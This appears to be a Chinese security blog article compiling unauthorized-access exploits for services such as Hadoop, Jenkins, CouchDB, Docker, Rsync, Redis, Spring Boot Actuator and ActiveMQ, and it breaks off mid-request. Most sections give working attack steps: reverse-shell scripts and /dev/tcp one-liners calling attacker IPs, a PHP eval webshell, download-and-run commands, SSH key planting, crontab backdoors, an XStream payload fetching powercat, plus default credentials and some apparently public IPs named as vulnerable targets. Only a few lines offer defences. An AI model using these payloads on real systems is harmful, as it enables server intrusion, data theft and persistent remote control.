查看原文
其他

未授权访问漏洞汇总

The following article is from 利刃安全小组 Author zengxin

    本文共11695个字,可以先收藏后看。

漏洞概览:Elasticsearch未授权访问漏洞Hadoop未授权访问漏洞Jenkins未授权访问MongoDB未授权访问ZooKeeper未授权访问Memcached未授权访问CouchDB未授权访问Docker未授权访问LDAP未授权访问JBoss未授权访问Zabbix未授权访问Rsync未授权访问Atlassian Crowd 未授权访问漏洞Jupyter Notebook 未授权访问漏洞NFS未授权访问Spring Boot Actuator未授权访问远程代码执行Redis未授权访问Active MQ未授权访问深信服EDR终端检测响应平台免登陆

1、Elasticsearch未授权访问漏洞

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

自助安装参考:https://www.cnblogs.com/xiaozi/p/8275201.html

https://xz.aliyun.com/t/6103

复现:

访问http://ip:9200出现“You Know,for Search”表明漏洞存在。

查找有多少index:

http://xxxx:9200/_cat/indices/

http://xxxx:9200/_cat/indices?v

查看有多少type

http://xxxxxx:9200/_mapping?pretty=true

http://xxxxx:9200/_search?pretty

elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)。http://localhost:9200/_cat/indices里面的indices包含了_river一般就是安装了river了。

http://localhost:9200/_rvier/_search就可以查看敏感信息了

http://localhost:9200/_plugin/head/ web管理界面

http://localhost:9200/_river/_search 查看数据库敏感信息

http://localhost:9200/_nodes 查看节点数据


2、Hadoop未授权访问漏洞

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

使用vulhub->hadoop->unauthorized-yarn下的漏洞环境进行搭建: docker-compose up -d

访问:http://172.16.102.143:8088/cluster

利用:

1、攻击主机开始监听端口,等待返回shell

nc -nlvp 444

2、运行hadoop_exp.py

#!/usr/bin/env python

 

import requests

 

target = 'http://172.16.102.143:8088/'

lhost = '172.16.1.67' # put your local host ip here, and listen at port 9999

 

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

    'application-id': app_id,

    'application-name': 'get-shell',

    'am-container-spec': {

        'commands': {

            'command': '/bin/bash -i >& /dev/tcp/%s/444 0>&1' % lhost,

        },

    },

    'application-type': 'YARN',

}

requests.post(url, json=data)

#python hadoop_exp.py即可看到有shell返回。

 


3、Jenkins未授权访问

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

环境部署:

wget http://archives.jenkins-ci.org/debian/jenkins_1.621_all.deb

dpkg -i jenkins_1.621_all.deb    

apt-get -f --fix-missing install    //如果有依赖错误,安装依赖包

开启jenkins:

service jenkins status

访问http://172.16.102.144:8080/,如下图所示说明搭建成功:


访问http://172.16.102.144:8080/manage可以看到没有任何限制就能访问

利用:

点击“脚本命令行”,执行“println "whoami".execute().text”

网站路径:/var/www/html(具备一定的权限),利用”脚本命令行“写webshell,点击运行没有报错表明写入成功。

new File ("/var/www/html/shell.php").write('<?php @eval($_POST[pass]);?>');

或者println "wget http://172.16.1.67/1.exe -P /var/www/html".execute().text也可以,但是都需要/var/www/html是可写的,权限不够,就登上服务器chmod给html目录加上写权限即可。

如果没有写webshell的权限,还有另一个反弹shell的操作:

println "wget http://172.16.1.67/1.py -P /tmp/".execute().text

1.py内容:

import socket,subprocess,os

 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("172.16.1.67",444))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

或者/bin/bash,bash好看,注意代码里不要有中文。

println "python /tmp/1.py".execute().text

注意:上传同文件名的文件,因为是wget下载的,会被重命名成1.py.1这样的。

4、MongoDB未授权访问

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。

  造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

环境搭建:

#docker pull mongo

#docker run -d -p 27017:27017 --name mongodb mongo

扫描:

mongoDB默认端口27017,当配置成无验证时,存在未授权访问。

msf5 > use auxiliary/scanner/mongodb/mongodb_login

msf5 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 172.16.35.41

rhosts => 172.16.35.41

msf5 auxiliary(scanner/mongodb/mongodb_login) > run

利用:

可以使用命令mongo直接连接:

#mongo 127.0.0.1

>show dbs;

 也可以安装图形化工具NoSQLBooster,下载地址:https://nosqlbooster.com/downloads

Linux不能在root用户下启动。

5、ZooKeeper未授权访问

zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

漏洞环境部署:

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gztar -xzvf zookeeper-3.4.14.tar.gzcd zookeeper-3.4.14/confmv zoo_sample.cfg zoo.cfg../bin/zkServer.sh start # 启动


利用:

1、获取该服务器的环境详细信息

echo envi|nc 172.16.2.251 2181

2、列出关于性能和连接的客户端的统计信息。

echo stat|nc 172.16.102.146 2181

3、测试服务器是否运行在非错误状态。

echo ruok|nc 172.16.102.146 2181

4、列出未完成的请求。

echo reqs|nc 172.16.102.146 2181

5、列出未完成的会话和临时节点。

echo dump|nc 172.16.102.146 2181

也可以下载zookeeper可视化管理工具进行连接:

https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

点绿色按钮添加地址:


6、Memcached未授权访问

Memcached 分布式缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

环境搭建:

Windows下安装Memcached:https://www.runoob.com/memcached/window-install-memcached.html

1、下载:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

2、解压,运行memcached -d install 来安装。

3、使用memcached.exe -d start开启服务,

4、使用netstat -ano 来看11211是否开启。

利用:

nc 192.168.1.103 11211 或者telnet 192.168.1.103 11211

# stats  //查看memcache 服务状态

# stats items  //查看所有items

# stats cachedump 32 0  //获得缓存key

# get :state:264861539228401373:261588   //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露

 


使用memcached.exe -d stop关闭服务,memcached.exe -d uninstall卸载memcached。

memcache是一套分布式的高速缓存系统,它以Key-Value(键值对)形式将数据存储在内存中,默认开放11211端口,使用nmap的脚本进行扫描。

nmap 192.168.1.103 -p11211 --script="memcached-info.nse"


Discuz!因Memcached未授权访问导致的RCE:https://xz.aliyun.com/t/2018

7、CouchDB未授权访问

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

  在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

环境部署:

使用vulhub里cve-2017-12636的docker环境:

docker-compose up -d

利用:

未授权访问测试:

curl http://192.168.18.129:5984

curl http://192.168.18.129:5984/_config  可以发现有结果返回

任意命令执行:

1、新增query_server配置,这里执行请求我们攻击机脚本的命令

curl -X PUT 'http://172.16.102.147:5984/_config/query_servers/cmd' -d '"curl http://172.16.0.188/1.sh > /tmp/1.sh"'

// _config/query_servers/ 固定

// merver 可改

2、新建一个临时表,插入一条记录

curl -X PUT 'http://172.16.102.147:5984/vultest'

curl -X PUT 'http://172.16.102.147:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

//vulteste 以及vul可改

3、调用query_server处理数据

curl -X POST 'http://172.16.102.147:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd2","map":""}' -H 'Content-Type: application/json'

执行第一次命令,我们让靶机从攻击机上下载一个sh,sh的内容是bash -i >& /dev/tcp/172.16.0.188/444 0>&1。目的在于反弹shell。

第二个阶段执行:

curl -X PUT 'http://172.16.102.147:5984/_config/query_servers/cmd' -d '"bash /tmp/1.sh"'

然后再调用query_server处理数据,达到执行脚本的目的。

curl -X POST 'http://172.16.102.147:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

反弹shell成功:

脚本的话可以参考:

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

需要注意的时,现在很多应用都部署在docker里,缺少很多命令。比如说ipconfig、wget等命令都没有,所以还是要多尝试。我这次本来就是用wget但是一直不成功,后来发现是没有这个命令。curl会是标准输出,所以写到一个文件里。

用nmap扫描:

nmap -p 5984 --script "couchdb-stats.nse" 172.16.102.147

8、Docker未授权访问

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

  Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的shell。

该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker。

docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api

环境搭建:使用vulhub提供的镜像来复现,进入vulhub->docker->unauthorized-rce

使用docker-compose up -d来部署,部署结束访问2375端口:

这就可以确定存在未授权访问漏洞了。

为了不影响别的容器,就自己下一个镜像。

docker search ubuntu,看看有啥好用的镜像,最后选择了nuagebec/ubuntu

docker -H tcp://10.126.138.59:2375 pull nuagebec/ubuntndocker -H tcp://10.126.138.59:2375 run -it -v /:/tmp nuagebec/ubuntu /bin/bashroot@8ad6e30fc38d:/data# cd /tmp/root/.sshroot@8ad6e30fc38d:/tmp/root/.ssh# wget http://175.24.86.37:8081/id_rsa.pubroot@8ad6e30fc38d:/tmp/root/.ssh# mv id_rsa.pub authorized_keys


完成之后,直接ssh -i id_rsa root@10.126.138.59就登上去了。

9、LDAP未授权访问

LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。

漏洞成因:未对LDAP的访问进行密码验证,导致未授权访问。

利用:

可以使用ldapbrowser直接连接,获取目录内容。

下载地址:

http://www.ldapbrowserlinux.com/

http://www.ldapbrowserwindows.com/

10、JBoss未授权访问

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

环境搭建:

docker pull testjboss/jboss

docker run -p 8080:8080 testjboss/jboss:latest

利用:

未授权访问测试:http://172.16.102.146:8080/jmx-console/无需认证即可访问控制页面


利用jboss.deployment部署shell

点击jboss.deployment进入应用部署页面

把包含jsp木马的war包放到web服务器里,让jboss访问。

上传成功:

按道理可以使用冰蝎访问http://172.16.102.160:8080/jspwar/login.jsp进行连接,但是后来发现war包没传上去,网上也看到有类似情况,了解过程即可,不再纠结,咱们直接上工具。

jexboss工具地址:https://github.com/joaomatosf/jexboss

安装:

git clone https://github.com/joaomatosf/jexboss.git

cd jexboss

pip install -r requires.txt

利用:

python jexboss.py -host http://172.16.102.160:8080

之后会反弹一个shell:

11、Zabbix未授权访问

Zabbix是一个基于WEB界面提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

利用:在登录页面,输入admin/zabbix可登录。

http://157.7.196.50:8090/zabbix.php?action=dashboard.view&ddreset=1可以看到登录之后的页面,但是内容看不到,还是需要登录的。从http://157.7.196.50:8090/使用admin/zabbix来登录。

http://122.51.8.23:9003/zabbix.php?action=dashboard.view

在Administration->Scripts中可以执行系统命令。

mkfifo /tmp/tmp_fifo

cat /tmp/tmp_fifo | /bin/bash -i 2>&1 |nc -l 4567 > /tmp/tmp_fifo


然后在Monitoring->Latest data中,host列点左键,选择刚才的脚本名称执行命令:

去dnslog中查看访问记录:



12、Rsync未授权访问

Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

环境搭建:

使用vulhub->rsync->common中的镜像进行环境部署:

#docker-compose up -d

但是报错,安装不成功。

Ubuntu上默认安装有rsync,rsync服务默认不是启动的,我们要修改rsync文件。配置如下:

#vim /etc/default/rsync

修改配置项:RSYNC_ENABLE=true   #false改true

#sudo cp /usr/share/doc/rsync/examples/rsyncd.conf /etc    rsyncd.conf copy到/etc目录下,创建配置文件。

#sudo vi /etc/rsyncd.conf

其中path是需要同步的路径,我们改成根目录/。

#sudo /etc/init.d/rsync start    启动服务。

利用:

可以使用:rsync ip::或者rsync rsync://ip:873/查看同步的模块名。

使用rsync rsync://ip:873/模块名查看模块下的文件。

Rsync允许我们下载同步的文件:


#rsync -av rsync://172.16.102.150:873/ftp/etc/passwd ./

如果说要反弹shell的话,我们的利用思路有两个,一是写计划任务,二是往ssh里写公钥。

1、写计划任务

查看crontab配置文件:

C:\root> rsync rsync://172.16.102.150:873/ftp/etc/crontab

-rw-r--r--            722 2020/07/24 16:11:11 crontab

下载crontab配置文件:

C:\root> rsync -av rsync://172.16.102.150:873/ftp/etc/crontab /root/crontab1

写入:

* * * * * root /bin/bash -i >& /dev/tcp/172.16.0.188/444 0>&1


赋予执行权限:

chmod +x crontab1

上传文件,rsyncd.conf中要read only= no才能上传。

C:\root> rsync -av crontab1 rsync://172.16.102.150:873/ftp/etc/crontab

如果上传文件报“rsync: chgrp "/tmp/.crontab1.Gzyxky" (in ftp) failed: Operation not permitted”错误时,需要修改rsyncd.conf中uid和gid为root,或者你上传目录的属主和属组和uid、gid指定的一致。

然后本地监听444端口:nc -nlvp 444 即可。

2、使用SSH公钥登录

C:\root\.ssh> rsync -av id_rsa.pub rsync://172.16.102.150:873/ftp/root/.ssh/authorized_keysC:\root\.ssh> ssh -i id_rsa root@172.16.102.150


我们还可以写入webshell:

C:\root> rsync -av shell.php rsync://172.16.102.150:873/ftp/var/www/html/shell.php


使用冰蝎连接:

13、Atlassian Crowd 未授权访问漏洞

Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。

环境搭建:

#wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip

#unzip atlassian-crowd-3.4.3.zip

#cd atlassian-crowd-3.4.3

#gredit crowd-webapp/WEB-INF/classes/crowd-init.properties

把注释去掉

#./start_crowd.sh启动

访问http://172.16.102.151:8095/,点击set up crowd


可以去https://my.atlassian.com/products/index申请30天试用,新建帐号,选择crowd,填入信息生成key,再把key填入。

利用:

未授权访问:

安装完成之后,会在crowd的home(默认/var/crowd-home)目录下安装一堆插件,我们上传一个标准插件,

#curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://172.16.102.151:8095/crowd/admin/uploadplugin.action -v


成功上传


RCE:

漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580

#python CVE-2019-11580.py http://172.16.102.151:8095


#curl http://172.16.102.151:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/passwd


防御手段:

-设置访问/crowd/admin/uploadplugin.action的源ip。

-升级最新版本(3.5.0以上)。

14、Jupyter Notebook 未授权访问漏洞

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。

如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

环境搭建:

我们使用vulhub->jupyter->notebook-rce的docker环境进行部署:

#docker-compose up -d


搭好之后,直接访问:http://172.16.102.151:8888/

利用:

点击New->Terminal打开控制台,可执行任意命令:


防御手段:

-开启身份验证,防止未经授权用户访问。

-访问控制策略,限制IP访问,绑定固定IP。

15、NFS未授权访问

NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。若运维人员未对文件访问进行控制,将导致本地文件可被任意读取。

环境搭建:

#apt install nfs-kernel-server 安装服务端

#gedit /etc/exports

写入:/ *(rw,sync,no_subtree_check,no_root_squash)


重启NFS服务:

第一种:

root@coupter:~# /etc/init.d/rpcbind restart

[ ok ] Restarting rpcbind (via systemctl): rpcbind.service.

root@coupter:~# /etc/init.d/nfs-kernel-server restart

[....] Restarting nfs-kernel-server (via systemctl): nfs-kernel-server.se[ ok .

第二种:

root@coupter:~# service portmap restart

root@coupter:~# service nfs-kernel-server restart

第一种能补全命令。


我们查询一下NFS进程是否成功:ps -A|grep nfs


使用#showmount -e   查询共享出去了哪儿些目录

开始利用:

客户端如果没有showmount命令,需要通过apt install nfs-common进行安装:。

1、查看服务器挂载情况:showmount -e server_ip

2、把共享的目录挂载到本地目录:mount -t nfs server_ip:/ /tmp

3、把ssh公钥给它写进去:cp /root/.ssh/id_rsa.pub /tmp/root/.ssh/authorized_keys


4、ssh登录:ssh server_ip


16、Spring Boot Actuator未授权访问远程代码执行

Actuator是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

 

利用思路:

1)利用env加refresh进行getshell

2)利用mappings,寻找未授权接口

3)利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口。

4)env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小。

漏洞发现:

通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:

1、通过web应用程序网页标签的图标(favicon.ico);如果没有修改默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:

2、看报错页面是否如下图这样。


漏洞利用:

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,比如如下站点存在 actuator 配置不当漏洞,通过其/env 路径,可获得 mysql、mangodb 的用户名及密码:


访问/health 路径,比如如下站点,访问其 health 路径可探测到站点 git 项目地址,造成git 项目地址泄露

访问/heapdump 路径,返回 GZip 压缩 hprof 堆转储文件。在 Android studio 打开,会泄露站点内存信息,很多时候会包含后台用户的账号密码,通过泄露的账号密码,然后进入后台一番轰炸也不错的。

 

/env端点配置不当造成RCE

前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

比如测试前台json报错泄露包名就是使用netflix


要以下两个包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

利用python3启动脚本,需要注意两个地方,一个为接收shell的ip和端口,另一个为我们脚本启动的端口

# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1

# windows反弹shell

# <string>powershell</string>

# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>

# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

 

from flask import Flask, Response

 

app = Flask(__name__)

 

@app.route('/xstream', defaults={'path': ''})

@app.route('/xstream/<path:path>')

def catch_all(path):

    xml = """<linked-hash-set>

  <jdk.nashorn.internal.objects.NativeString>

    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

      <dataHandler>

        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

          <is class="javax.crypto.CipherInputStream">

            <cipher class="javax.crypto.NullCipher">

              <serviceIterator class="javax.imageio.spi.FilterIterator">

                <iter class="javax.imageio.spi.FilterIterator">

                  <iter class="java.util.Collections$EmptyIterator"/>

                  <next class="java.lang.ProcessBuilder">

                    <command>

                    <string>powershell</string>

                    <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>

                      <string>powercat -c [vps地址] -p 2333 -e cmd</string>

                    </command>

                    <redirectErrorStream>false</redirectErrorStream>

                  </next>

                </iter>

                <filter class="javax.imageio.ImageIO$ContainsFilter">

                  <method>

                    <class>java.lang.ProcessBuilder</class>

                    <name>start</name>

                    <parameter-types/>

                  </method>

                  <name>foo</name>

                </filter>

                <next>foo</next>

              </serviceIterator>

              <lock/>

            </cipher>

            <input class="java.lang.ProcessBuilder$NullInputStream"/>

            <ibuffer></ibuffer>

          </is>

        </dataSource>

      </dataHandler>

    </value>

  </jdk.nashorn.internal.objects.NativeString>

</linked-hash-set>"""

    return Response(xml, mimetype='application/xml')

if __name__ == "__main__":

    app.run(host='0.0.0.0', port=2333)


c监听一个端口用以接收反弹shell。

写入配置,访问/env端点,抓包将get请求改为post请求,post内容为(该ip为脚本启动的机器的ip):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream(IP 为本机IP,或者vpsIP)


后再访问http://10.1.1.137:8090/refresh,抓包将get请求更改为post请求,post数据随意,

然后在我们nc的窗口可以看到成功反弹了一个shell回来。

这个Spring Boot Actuator未授权访问我没有环境去复现,图和文字很大一部分参考了https://baijiahao.baidu.com/s?id=1664744606591570140&wfr=spider&for=pc。

17、Redis未授权访问

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

环境搭建:

可以用vulhub和vulapp的docker环境,但是攻击主机上也需要安装有redies,所以自行搭建一下。

#wget http://download.redis.io/releases/redis-2.8.17.tar.gz#tar xzf redis-2.8.17.tar.gz#cd redis-2.8.17#make

make结束后,进入src目录:cd src,

将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

使用/etc/目录下的reids.conf文件中的配置启动redis服务,把这台虚拟机复制一份作为靶机,这样攻击机和靶机都好了,也可以通过apt install 安装。

利用:

1、未授权访问漏洞测试

使用redis客户端直接无账号成功登录redis:

可以看到未启用认证。

2、利用redis写入webshell

利用前提:

1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限

(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:

注:

第三步写入webshell的时候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

shell写入完成,我们在靶机上来证明:

成功写入shell。

3、利用“公私钥”认证获取root权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

靶机中开启redis服务:redis-server /etc/redis.conf

在靶机中执行  mkdir /root/.ssh  命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

在攻击机中生成ssh公钥和私钥,密码设置为空:

#ssh-keygen -t rsa

cat /tmp/foo.txt | redis-cli -h 192.168.35.41 -p 6379 -x set crackit

将生成的公钥保存到foo.txt:

 #(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

 #cat /tmp/foo.txt | redis-cli -h 192.168.35.41 -p 6379 -x set crackit

加上 `\n\n` 是为了不破坏 ssh public key,crackit 是设置的 key,可随意指定

并使用 CONFIG GET dir 命令得到redis备份的路径:

使用config set dir /root/.ssh更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

使用config set dbfilename authorized_keys设置上传公钥的备份文件名字为authorized_keys:

上面这图报错就是因为没有/root/.ssh目录,因为没漏洞环境了,就不放特别完美执行的图了,看下面的语句配就行。

config get dir

config set dir /root/.ssh

config set dbfilename authorized_keys

config get dbfilename

config set dir /root/.ssh

save

检查是否更改成功(查看有没有authorized_keys文件,使用config set dbfilename看),没有问题就保存然后退出,至此成功写入ssh公钥到靶机。执行完毕后会在ubuntu服务器的/root/.ssh目录下生成一个authorized_keys的公钥文件,利用这个公钥文件就可以远程连接ubuntu了

4、crontab任务反弹shell

Centos定时反弹shell,ubuntu不行。

我们可以将 linux 反弹 shell 的命令写入定时任务中,这样,我们就可以接收到redis服务器反弹过来的shell了

config set dir /var/spool/cron

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.0.14/80 0>&1\n\n"

config set dbfilename root

save

18、Active MQ未授权访问

ActiveMQ是一款流行的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

已知漏洞地址:

http://125.77.22.5:8161/admin/

http://125.140.124.71:8161/admin/test/systemProperties.jsp

环境搭建:

使用vulhub->activemq->CVE-2016-3088中的docker来部署

docker-compose up -d

访问:

http://server-ip:8161

1、未授权访问

访问http://172.16.102.153:8161/admin需要登录,输入默认密码admin/admin进行尝试,发现可以登录上去


访问http://172.16.102.153:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

2、写入webshell

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

1. 其使用率并不高

2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

根据ActiveMQ任意文件写入漏洞(CVE-2016-3088),

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

1. 写入webshell

2. 写入cron或ssh key等文件

3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

写入jsp:

PUT /fileserver/123.txt HTTP/1.1

Host: 172.16.102.153:8161

Pragma: no-cache

